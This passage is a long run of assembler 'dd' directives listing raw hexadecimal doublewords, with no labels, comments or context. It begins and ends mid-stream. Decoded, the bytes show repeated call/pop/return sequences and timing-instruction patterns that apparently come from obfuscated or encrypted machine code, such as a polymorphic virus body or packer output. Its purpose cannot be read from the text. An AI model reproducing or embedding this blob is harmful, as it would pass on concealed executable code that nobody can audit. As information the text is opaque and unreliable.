59A3D4C3h, 2B01BB45h, 0B0B31BDh dd 1D858906h, 6A060EA8h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 39F3C351h, 0DDF77A1h dd 152CA0FCh, 20398D89h, 9FE9060Bh, 6A000001h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 0C3D0C350h, 0BC8DBC41h, 9D8BA859h, 60B2DE9h, 0A815858Bh dd 7E9060Eh, 0C2000000h, 67911F71h, 0C77055h, 18h, 322D9589h dd 9D89060Bh, 60B2801h, 0A819B58Bh, 0F88B060Eh, 486CBF66h dd 6E1858Bh, 6A060Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 0CE971C3h, 0E5000000h, 9E9DC027h dd 0BA4ABC48h, 8924BF6Ch, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 858BF1D6h dd 60B317Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 33C35242h, 4C1BD33h, 4689060Bh, 880F04h, 50000000h dd 4880Fh, 0BB660000h, 34898CFEh, 57006A24h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 0B5FFF9D5h dd 60EA815h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 57C35545h, 68DAB70Fh, 0BB167ABh, 123757BBh, 2434817Fh dd 0BAE6454h, 0BD5BD8Bh, 858D060Bh, 60EA81Dh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0F9C35747h, 96BB9436h dd 8589A5C9h, 60B02DDh, 0E7EECBFh, 8E9502Ah, 0A1000000h dd 2634EC9h, 896111B3h, 9D8B2404h, 60B31E1h, 0DCDB589h dd 95FF060Bh, 60B03D1h, 228DBD8Bh, 6A61060Bh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 0C7B1C357h, 0B100985h, 306h, 0D98B6600h, 0A81DBD83h dd 0F00060Eh, 2C84h, 42E900h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0A99299C3h dd 9C5013D5h, 0B74A4E7Eh, 0C3050CCh, 11440011h, 10E8C101h dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 14FD9D8Bh, 0BD0B060Bh, 60B1255h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0C5C35646h dd 0E1BFCF83h, 9860F9A6h, 6870F5Fh, 8B000000h, 0B2A49BDh dd 9BD8306h, 3060B10h, 3AF850Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 6190B6C3h dd 43F29EC7h, 1DBD83F5h, 60EA8h, 37F840Fh, 0F3810000h dd 10F1EE30h, 0A81DB5FFh, 8B60060Eh, 0B05A585h, 75858B06h dd 61060B33h, 83D95FFh, 6A060Bh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 0EA97F2C3h, 0BB66A605h dd 0B58BF226h, 60EA811h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 66C35242h, 2B9BD8Bh, 6C7060Bh, 10001h dd 96FE8B66h, 0BE95250h, 3000000h, 8CFC99A1h, 0AC2EBC8Ch dd 310F803Ah, 585AF98Bh, 0BE950h, 11900000h, 577A7C80h dd 3AFA08BDh, 6A96CEh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 0A9F6FEC3h, 8C0F1F11h, 6, 7CD9D89h dd 0BD89060Bh, 60B32B9h, 0A81DB5FFh, 0BD8B060Eh, 60B1265h dd 64195FFh, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 9FAD22C3h, 9D8BE30Ah, 60B0B51h dd 14E59D89h, 0B58B060Bh, 60EA811h, 46EB8166h, 1D858B6Fh dd 8B060B12h, 0B2DFDBDh, 0C4868906h, 0BB000000h, 6B47C921h dd 174D958Bh, 6A060Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 8A5211C3h, 7B0FA517h, 0DA8BF98Bh dd 3104C283h, 0B18359Dh, 0ED9D8906h, 89060B02h, 6A2050h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 54333C3h, 7C795DE5h, 0F51EFBDh, 584h, 0E6AEBB00h, 0F5F5840h dd 686h, 0DBD0900h, 8D060B19h, 0EBAEE85h, 53006A06h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 0C555AA2Ch, 89FB8B66h, 0B886h, 0DF816600h, 6ABA5Bh dd 0A81DB5FFh, 5356060Eh, 830Fh, 5B5B0000h, 0F1595FFh dd 9D89060Bh, 60B0B75h, 15BB6696h, 0BB665087h, 6A96ECDAh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 6C4BC357h, 57EB9E7Eh, 0AD161544h, 0D318D89h dd 0B5FF060Bh, 60EA81Dh, 741BD89h, 95FF060Bh, 60B00F5h dd 860Fh, 0BD830000h, 60B2191h, 5A840F00h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 96BAC352h, 0DA8B5760h, 5B50515Ah, 8B50615Eh, 6A96FAh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 0B56EAFC3h, 0C5458B06h, 68C0F81h, 1000000h, 0B190D85h dd 1DB5FF06h, 66060EA8h, 95FFDF8Bh, 60B1281h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0ABC35141h dd 0D13F381h, 840F2983h, 6, 2781BD29h, 0B5FF060Bh, 60EA81Dh dd 8D95FFF8h, 6A060B0Bh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 41F3C350h, 63AA4ACCh dd 1FB5BD8Bh, 0BD83060Bh, 60B17F1h, 37840F02h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 5EF4C353h, 0DB9416EAh, 0C5858B62h, 8B060B2Eh dd 0B18E9BDh, 0C606h, 8BCF8B60h, 85C761C6h, 60B06B9h, 0 dd 0A4EABF56h, 35B5BEBh, 0B2F299Dh, 0F42CE906h, 6AFFFFh dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 0B4F1C3h, 0F5A2ACB6h, 8166C18Bh, 8DE407EFh, 0B28A985h dd 0F5BD8906h, 8B060B20h, 0B03BDBDh, 76BF9006h, 501D67CAh dd 46B75250h, 585A310Fh, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 7B3FE764h, 87878F4Ah dd 9D8B93CFh, 60B2AA1h, 0E9DBD89h, 0E953060Bh, 7, 0EC72C644h dd 5B65EE01h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 0E7F684C3h, 6A5A2D11h, 6AFE8BFBh dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 0F19DC549h, 0A40B5632h, 820F46E4h, 0Fh dd 0AE9h, 571BB500h, 4A4F6674h, 890C142Bh, 0B0BAD95h, 0B1B58906h dd 8D060B15h, 0FCEFD85h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 5DDAE9E6h, 13C380C8h dd 6A05C083h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 2479C350h, 0DE2BEB81h, 0B3906AAAh dd 8A6050FBh, 0FE8B66F1h, 8C0F9061h, 0 dd 8166006Ah, 6A68E7E7h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 725B0330h, 2776D22Fh dd 175BD33h, 95FF060Bh, 60B2F21h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 5DC35646h, 4C50E32Eh, 10E80719h dd 94000000h, 0AC68C6Eh, 33383AF4h, 583948F1h, 0F90A4B7h dd 8D5FDFBFh, 0EA7B08Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 0A00E6D7Ah, 83D1FF4Eh dd 0B0B19BDh, 850F0106h, 85h, 26AF6B3h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 19h, 0C2C35141h, 47D48170h dd 0FABF0FADh, 10D9D8Bh, 0BF90060Bh, 7EEC046Ch, 736FBF50h dd 6A901C32h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 0AC36C353h, 0F3DBD8Bh, 95FF060Bh dd 60B0F15h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 78C35040h, 90EA084Dh, 10B4E9B5h, 0E80000h, 5D000000h dd 0CF07ED81h, 0CE8060Fh, 0B0000000h, 6DE89007h, 5A8C8284h dd 13AF073h, 0B202DB5h, 6A5B06h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 4B4A6FC3h, 3B4BF441h dd 1DDF81AEh, 8D2D5923h, 0E929385h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 5FC523EEh dd 7159A77Dh, 800FA9C4h, 5, 0ABD38166h, 0B9B58903h, 50060B02h dd 52505356h, 585A310Fh, 4895B5Bh, 51006A24h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 81664E2Dh dd 0F3972CBh, 0C8Dh, 6880F00h, 8B000000h, 0B0331BDh, 0EBD38106h dd 643A0927h, 35FFh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 647D8AC3h, 896496CFh dd 25h, 185EBB00h, 85FF090Eh, 60B066Dh, 0B1D9D23h, 8B66060Bh dd 6AFF6ADFh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 6F6AC351h, 711C1213h, 0E9769851h dd 9, 0EBE7604Eh, 0C675612Eh, 55B5FF81h, 6A060B23h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 84ADC352h, 6ECCA542h, 66605394h, 46D8F181h, 61D6BF0Fh dd 0C61BD8Bh, 95FF060Bh, 60B2411h, 12CE9h, 89B50100h, 0B0060B33h dd 9D896000h, 60B0209h, 0E970E661h, 5, 116C9481h, 3371E464h dd 0B0CA1BDh, 0F613C06h, 10083h, 0BE900h, 78CF0000h, 0B6243649h dd 0F89CCA58h, 0C8B60F7Eh, 2AABF66h, 6BAh, 0CE900h, 0C35D0000h dd 303C2F7Ch, 0C01A6810h, 0C18BC956h, 14E9h, 718B7200h dd 3FF26266h, 38A766DCh, 3B931896h, 0A4D37B16h, 919589ACh dd 0C1060B01h, 0F76604E8h, 0E9B589E2h, 2B060B22h, 199D23C8h dd 8B060B0Dh, 14E9D1h, 25B70000h, 0FE07DEBDh, 6A7AF155h dd 8357009Bh, 410219A1h, 7EE988CDh, 66000000h, 8B7066BFh dd 485h, 7C08300h, 0CE9h, 0FF0CE00h, 0B72DDC1Ch, 785AEBE3h dd 25BD0BAAh, 83060B00h, 0BD8B00C0h, 60B246Dh, 830FD03Bh dd 14h, 2FDBD8Bh, 3EE9060Bh, 81000000h, 0D1CF04DFh, 46EF802Eh dd 0FFFF8D8Bh, 8166FFFFh, 83C6AFC3h, 840F01E1h, 21h, 13519D8Bh dd 0A583060Bh, 0FFFFFFFFh, 0ED9D8BFEh, 89060B2Eh, 495h dd 0FAB70F00h, 0E9h, 0B1B58D00h, 89060F4Fh, 0B1E95B5h dd 6A006A06h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 0C6DCC350h, 0DD95FFF5h, 6A060B32h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 813FC350h, 3A3AE3E3h, 4A52BB0Bh, 0ABB942FDh dd 5600000Fh, 5FFE8B66h, 88C0Fh, 9500000h, 0B2AD18Dh, 0E1835F06h dd 50006AFCh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 0A2491C4Ah, 0ED8D2953h, 0FC060B00h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 3BC35545h, 9BDEE982h dd 4616BC14h, 0DE93Dh, 61600000h, 0CD9B637h, 4753AB89h dd 0B840B1A2h, 0 dd 28D9BD8Bh, 0D98B060Bh, 0BAh, 11E900h, 55BE0000h, 0C0392031h dd 592E337Fh, 5C4A969Ah, 0ADF70FD1h, 0E8D1C233h, 0E983D003h dd 6AF47504h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 0D9D0C350h, 8019D8Bh, 9D8B060Bh dd 60B1A85h, 880Dh, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 1BB5B5C7h, 35BD8957h dd 8B060B10h, 0B174D95h, 0C5BD8B06h, 8B060B18h, 0B01198Dh dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 50426D66h, 188BC28Bh, 188BC103h, 0E8D1C18Bh dd 188BC203h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 0A9C0B323h, 759D8BCBh, 6A060B02h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 5980C356h, 83FB8BB4h, 0B29BDBDh, 840F0006h dd 94h, 0B8F88Bh, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 0A16FC353h, 8D61B3CDh dd 0B4DD78Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 0BE99C3E8h, 0E0C22B18h, 68B0FDAh dd 8B000000h, 0B32E59Dh, 0D59D8B06h, 0F060B08h, 682h, 0E59D8900h dd 0FF060B21h, 56006AE1h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 9D89D6DDh, 60B04A1h, 1009BD83h dd 0F00060Bh, 56284h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 941C479Dh, 0BD8302D9h dd 60B1009h, 4F840F01h, 6A000005h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0DA4DC355h dd 0F88B66B9h, 1009BD83h, 0F03060Bh, 4EB86h, 0F4DB8000h dd 51006A60h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 32CD1320h, 66F98B66h, 0DC8AD98Ch, 6A04E180h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 7FA9C357h, 60A4F9A2h, 958D2Bh, 0EE8060Bh dd 9E000000h, 612C8C9Ch, 5A6CE7CBh, 16014453h, 0CFB70FF1h dd 9D896158h, 60B035Dh, 840FC90Ah, 17Ah, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 15h, 11C35141h, 7D858B79h dd 6A060B31h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 193C351h, 33DE8B4Bh, 0B06ED85h dd 12E85006h, 0A6000000h, 8A1B826Dh, 97FE3946h, 4E124506h dd 0D6779F6h, 118D3114h, 5F060B01h, 0B656BF5Fh, 0E9906F9Eh dd 7, 5DFB828Dh, 500FEFBFh, 52506051h, 585A310Fh, 0D6C9B966h dd 6A905F61h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 0E83FC353h, 7, 5ECBF296h, 0BF5BDAB7h dd 41000BD9h, 6A006A5Bh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 51DBC350h, 0C840Fh dd 870F0000h, 6, 810Fh, 6E90000h, 0BE000000h, 53547760h dd 0BE0E68DEh, 8E994C9h, 0EB000000h, 1E12F53Ah, 819A7A81h dd 45F12404h, 6A6B55h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 61D005C3h, 260D3987h, 0DE8F7AFh dd 0FA000000h, 8074699Ah, 370F11B9h, 0B8CA0C84h, 0D3B96660h dd 39958B16h, 61060B24h, 0D195FF5Bh, 89060B03h, 0B001195h dd 1D858906h, 8B060EA8h, 0B04C19Dh, 294E906h, 95890000h dd 60B0871h, 8E0Fh, 858B0000h, 60EA815h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 14h, 1AC35343h, 6860Fh dd 8D290000h, 60B0B69h, 8E9h, 164AF000h, 85473C34h, 1800C722h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 2136C350h, 8BE5AF44h, 0EA819B5h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 3893A797h, 959589F8h, 8B060B02h, 0B06E185h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 0FBE77058h, 91C78100h, 0F8215C9Ch, 6A0689h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 1D96A7C3h, 0D5191AB3h, 8D09B4C3h, 60B1A6Dh, 8E2ABB66h dd 317D858Bh, 0BD8B060Bh, 60B0419h, 0F044689h, 118Fh, 5E800h dd 0DE200000h, 338CD68Ch, 0B1B61BDh, 60505F06h, 0F08BF78Bh dd 24348961h, 11820Fh, 0CE90000h, 29000000h, 9EC23187h dd 0BAC4EC87h, 0FFBADE26h, 0EA815B5h, 55006A06h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 0FADB8C59h, 0FDB8600Bh, 81610A90h, 816BF8D3h, 0B960614Ah dd 118E8D9h, 6B58D8Bh, 0E861060Bh, 4, 1F03FFh, 0FE953h dd 0AB5B0000h, 0FDD4875h, 7402AAA3h, 404DA063h, 8B505F71h dd 24448BFBh, 1D800F04h, 50000000h, 0EE852h, 72CC0000h dd 6C62104Ah, 5ECC7547h, 0A3EC5472h, 66310F5Bh, 585ADF8Bh dd 5F52008Bh, 4244489h, 0FE8h, 34A9B300h, 0D0A4F7A9h, 2F507CB6h dd 0CE58EA80h, 310F5250h, 585AFE8Ah, 8D89585Fh, 60B16A5h dd 0A81D858Dh, 6A060Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 0D3E49FC3h, 57077DFFh, 66E20280h dd 50AAF4BBh, 9D567BBh, 24048956h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 0D3C35141h, 0E98EBADCh, 0Ch dd 0A244A0Eh, 95A6D57Ah, 61A9A6D1h, 1A8D9D89h, 95FF060Bh dd 60B03D1h, 10E8h, 5FE63600h, 51BB75D4h, 2C64BC22h, 843AB859h dd 13E961h, 1AAC0000h, 0E2FC07FCh, 0B5FFDB6Fh, 0B469DADDh dd 0AC9ACFB8h, 6A615B86h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 22C4C353h, 60C380F1h dd 100985C7h, 3060Bh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 0A561BEC3h, 0F88B0D69h dd 0A81DBD83h, 0F00060Eh, 1384h, 0BD8B5100h, 60B2815h dd 21E95Bh, 0F3810000h, 137B41A6h, 110C3050h, 1114400h dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 1A12C356h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 41C35141h, 6B45F06h, 97C38114h, 83042FF6h, 0B1009BDh dd 850F0306h, 504h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 0A5C35141h, 6DBB6629h, 5D9D093Bh, 83060B1Fh dd 0EA81DBDh, 840F0006h, 4D0h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 71C35545h, 8D296078h, 60B1659h dd 1DB5FF61h dd 6A060EA8h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 0B0B9C357h, 0EC0E61B9h, 0C781E67Dh dd 75483139h, 3EB5F960h, 3D95FF61h, 8B060B08h, 0B0881BDh dd 11B58B06h, 6A060EA8h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 93D4C356h, 0B70F9177h dd 3A294055h, 62DBD89h, 8166060Bh, 0C76239EFh, 1000106h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 53CF24D5h, 0EFEF8166h, 81665B8Eh, 509F80E7h dd 800F5250h, 13h, 0EE9h, 0E86F3900h, 3ADC5312h, 215D1D50h dd 0F503D21h, 10E831h, 22B40000h, 3D4ED41h, 58AB009Fh dd 0C49033A9h, 8B66D19Eh, 585A5FFEh, 6A243489h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 98A9C356h, 623A265Eh, 0BD0BB47Eh, 60B059Dh, 0E4A6BFh dd 1DB5FF2Ah, 6A060EA8h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 0FF92C356h, 0B064195h dd 0CE806h, 0E1590000h, 24B9CDF8h, 0DAA768F3h, 0BD31042Bh dd 60B1341h, 11B58B5Bh, 6A060EA8h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 1117C355h dd 3F4A8BFDh, 0FC2118A4h, 121D858Bh, 6A060Bh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 31AB96C3h dd 0B2D8185h, 0C4868906h, 66000000h, 8B8571BFh, 0B174D95h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 0B79C172Bh, 0CC421558h, 50BBED3Dh, 0E97F016Eh dd 9, 0F88F75F0h, 0C9FE13FBh, 4C2835Dh, 0A224CBBh, 20508958h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0D4C35343h dd 0BBE1A13Bh, 233123FDh, 0BAEE858Dh, 9D2B060Eh, 60B1AC5h dd 29A59589h, 8689060Bh, 0B8h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 0EAC35141h, 28D0Fh, 0F98A0000h dd 0EE9006Ah, 1F000000h, 0ADFD2BD9h, 17660C60h, 0F46404F1h dd 1DB5FFECh, 81060EA8h, 0C6C2B3C7h, 1595FF54h, 6A060B0Fh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 0B816C353h, 0E8D833D1h, 14h, 3E8620B8h, 455FDD98h dd 37136261h, 0DF7B52A8h, 748646E1h, 1A41BD0Bh, 965F060Bh dd 7E8h, 0E98EB600h, 120BB4F2h, 5BDF8B66h, 0AE850h, 8FA00000h dd 0ED6E177Dh, 47E12E6Bh, 5FFB8B53h, 6A965Fh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0B5FFA5C3h dd 60EA81Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 0A1C35747h, 4647A7CBh, 801D651Ch, 95FFF888h, 60B00F5h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 9DC35040h dd 0E3812FE0h, 5E3A271Fh, 148D0Fh, 0FE90000h, 26000000h dd 3F5E839Eh, 0E9A13368h, 8AB8C973h, 0BD8350C5h, 60B2191h dd 2E840F00h, 50000000h, 7E8h, 0D1E36500h, 697389C4h, 2434895Fh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0DCC35343h dd 1DB5FF54h, 6A060EA8h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 3E9BC353h, 89E81CDBh dd 0B01C595h, 8195FF06h, 6A060B12h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 5695C353h dd 1FE5BD8Bh, 665F060Bh, 0FF1D2FBBh, 0EA81DB5h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 90376B74h, 0FF4ABBB8h, 0B0B8D95h, 0F1BD8306h, 2060B17h dd 5A840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 8E9DF0C3h, 5E50E546h, 60BF766Eh dd 8B61B032h, 0C5858BF9h, 8B060B2Eh, 0B27BD9Dh, 0C606h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 60C35141h dd 0DA8BCC6Dh, 6B985C7h, 60Bh, 0BD8B0000h, 60B0355h, 0FFF0D8E9h dd 53006AFFh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 0CE5DD816h, 81A0BB9Eh, 5D5E06E3h, 6AC18B39h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 3592C352h, 6850Fh, 9D8B0000h, 60B1FF5h, 14E8h dd 0BB81C100h, 0AACED18Dh, 89E0E78Fh, 7A1F3427h, 0A8839088h dd 6860F0Eh, 8B000000h, 0B02D59Dh, 858D5B06h, 60B28A9h dd 2B799D8Bh, 8950060Bh, 6A2404h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 0AF07C5C3h, 0B278920Eh dd 6A006A05h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 8921C356h, 0B71E1056h, 1F498589h dd 6A060Bh, 183D9D09h, 858D060Bh, 60FE18Fh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 69C35343h, 9B79F2CCh dd 3892CE09h, 6A05C083h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 9BD9C356h, 0AD790CA9h dd 72D4D6A4h, 16899D89h, 5050060Bh, 0CE952h, 2D110000h dd 0A5FB6A5Ah, 0F129392Bh, 310FD0E6h, 28B0Fh, 61600000h dd 489585Ah, 0F98D0124h, 8B060B32h, 6A006AFBh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 0DE8EC356h, 0FB623912h, 6712B7Dh, 6AFA8Bh, 9DE38166h dd 2195FFAAh, 6A060B2Fh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 6391C356h, 4CD21D2Fh dd 6CA23863h, 6141BB66h, 0A7B08D8Dh, 8D29060Eh, 60B2A05h dd 12E9h, 543B3900h, 0A079E9F7h, 0D1423883h, 65F51FB5h dd 0FFD67D9Ch, 6E9D1h, 37960000h, 0E29311D5h, 0B19BD83h dd 0F01060Bh, 5685h, 6A76B300h, 53006A02h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 3191E110h dd 0FCFC5AA4h, 89DF8B50h, 0D7802404h, 1595FF02h, 6A060B0Fh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 2E88C356h, 0E9A956E0h, 0E03h, 0E8h, 0ED815D00h dd 60FE199h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 5DC35343h, 7E9FD34h, 7D000000h, 5CBF144Ch, 6A3234h dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 0F7DFDC3h, 687h, 358D8900h, 8D060B04h, 0E929385h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 0DDB787FFh, 0D98B6656h, 0AD85015Bh, 50060B16h, 6A240489h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 0C2FAC351h, 2319B0D9h, 8BBEA01Eh, 0B31DD9Dh dd 518D8906h, 64060B16h, 35FFh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0F64A50C3h dd 0BE71531Dh, 816653A0h, 5FAEA8F3h, 5E9h, 0B3F3700h dd 8964BF3Fh, 25h, 0EB816600h, 85FF1F47h, 60B066Dh, 6840Fh dd 9D8B0000h, 60B31A5h, 0DE9h, 6D8AD000h, 25C5615Eh, 0C97144C3h dd 0FF6AA7FEh, 629BD8Bh, 0B5FF060Bh, 60B21D9h, 0FF3FDB80h dd 0B241195h, 124E906h, 8A0F0000h, 5, 3A3608BFh, 8900B037h dd 0B0F918Dh, 6070E606h, 328D8D89h, 0E461060Bh, 0C1BD8971h dd 3C060B29h, 0F7830F61h, 0BB000000h, 367D120Ch, 0FC8B60Fh dd 382h, 0FAB70F00h, 0C63BCF81h, 6BA2299h, 8B000000h, 2DBD8BD8h dd 8B060B2Ah, 0E8C1F5C1h, 719D8904h, 66060B02h, 8D01E2F7h dd 60B1691h, 880FC82Bh, 